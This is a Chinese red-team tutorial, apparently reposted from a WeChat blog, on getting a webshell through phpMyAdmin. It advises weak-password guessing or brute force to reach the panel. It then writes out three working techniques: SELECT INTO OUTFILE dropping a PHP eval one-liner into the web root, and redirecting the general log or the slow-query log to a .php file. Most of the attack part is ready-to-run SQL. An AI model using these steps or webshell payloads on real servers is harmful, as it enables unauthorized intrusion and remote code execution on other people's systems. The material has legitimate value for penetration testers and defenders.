『红蓝对抗』phpMyAdmin 后台 getshell

admin 2023年2月25日06:17:14评论138 views字数 1927阅读6分25秒阅读模式


点击蓝字

关注我们


日期:2023-02-23
作者:yukong
介绍:分享一下攻防对抗中常用到的phpMyAdmin后台getshell方法。

0x00 前言

后台权限的得分还是比较少的,我们的路当然不止于此啦。

实验环境:

win7 虚拟机Apache 2.4.39MySQL 5.7.26PHP  5.5.9phpMyAdmin  4.8.5

0x01 phpMyAdmin简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

phpMyAdmin跟其他PHP程序一样在网页服务器上执行,可以在远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin后台,可通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台。下面会介绍一些真实环境中常用到后台getshell的方法。

0x02 getshell方法

2.1 直接写入shell文件

通过outfiledumpfile直接写入shell 文件

(1)利用条件:

  • web目录需要有写权限

  • 知道绝对路径

  • secure_file_priv没有具体值

(2)outfiledumpfile的区别

  outfile

  • 支持多行数据同时导出

  • 使用union联合查询时,要保证两侧查询的列数相同

  • 会在换行符制表符后面追加反斜杠

  • 会在末尾追加换行

      


        dumpfile

  • 每次只能导出一行数据

  • 不会在换行符制表符后面追加反斜杠

  • 不会在末尾追加换行

因此我们平时直接写入命令的时候使用outfile即可,特定环境需要写入二进制文件时使用dumpfile

(3)具体操作

查看可写目录:

show variables like '%secure%';
『红蓝对抗』phpMyAdmin 后台 getshell

如果secure_file_priv如果是一个目录,则只能在对应的目录下读文件,如果是空(如上图)即不对写入做限制,如果是null,表示MySQL不允许写入写入。

直接将一句话写入网站目录:

select '<?php @eval($_POST[cmd]);?>' into outfile 'c:/phpstudy_pro/www/shell.php';
『红蓝对抗』phpMyAdmin 后台 getshell
『红蓝对抗』phpMyAdmin 后台 getshell

可以直接写入成功,在没有存在限制的情况下还是比较简单的,同理将outfile改成dumpfile 以二进制的方式写入也是可以的。

2.2 全局日志getshell

mysql中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin后台执行sql语句开启日志功能,修改日志存储文件。

利用条件:

  • root权限

  • 知道网站绝对路径

(1)查询日志开启状态以及日志写入文件位置:

show variables like '%general%';
『红蓝对抗』phpMyAdmin 后台 getshell

(2)开启日志检测,自定义日志路径

# 开启日志监测,set global general_log = on;  # 设置自定义日志路径  set global general_log_file = 'c:/phpstudy_pro/www/shell1.php';  
PS:真实环境下getshell之后及时改回原状态
『红蓝对抗』phpMyAdmin 后台 getshell

(3)携带一句话访问网站,记录日志getshell

随便找个位置写入一句话:

『红蓝对抗』phpMyAdmin 后台 getshell

查看日志:

『红蓝对抗』phpMyAdmin 后台 getshell

看到已经记录了php语句,通过网页访问可以解析成功:

『红蓝对抗』phpMyAdmin 后台 getshell

2.3 慢查询日志getshell

mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。

优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell文件就会提示500错误,通过慢查询日志可以避免这个问题。

利用条件:

  • root权限

  • 知道网站绝对路径

(1)查看慢查询日志开启情况

show variables like '%slow_query_log%';
『红蓝对抗』phpMyAdmin 后台 getshell

(2)开启慢查询日志,修改日志文件存储的绝对路径

# 开启慢查询日志set global slow_query_log=on;# 修改日志文件存储位置set global slow_query_log_file='c:/phpstudy_pro/www/shell2.php';
『红蓝对抗』phpMyAdmin 后台 getshell

(3)向日志文件中写入shell请求

这里需要用到延时函数

select '<?php @eval($_POST[shell]);?>' or sleep(11);
『红蓝对抗』phpMyAdmin 后台 getshell
『红蓝对抗』phpMyAdmin 后台 getshell

最终写入成功。

0x03 总结

总的来说getshell的方法很多,上面这些是在实战中比较常用的方法。祝大家shell拿到手软。

『红蓝对抗』phpMyAdmin 后台 getshell


原文始发于微信公众号(宸极实验室):『红蓝对抗』phpMyAdmin 后台 getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月25日06:17:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』phpMyAdmin 后台 getshellhttps://cn-sec.com/archives/1573876.html

发表评论

匿名网友 填写信息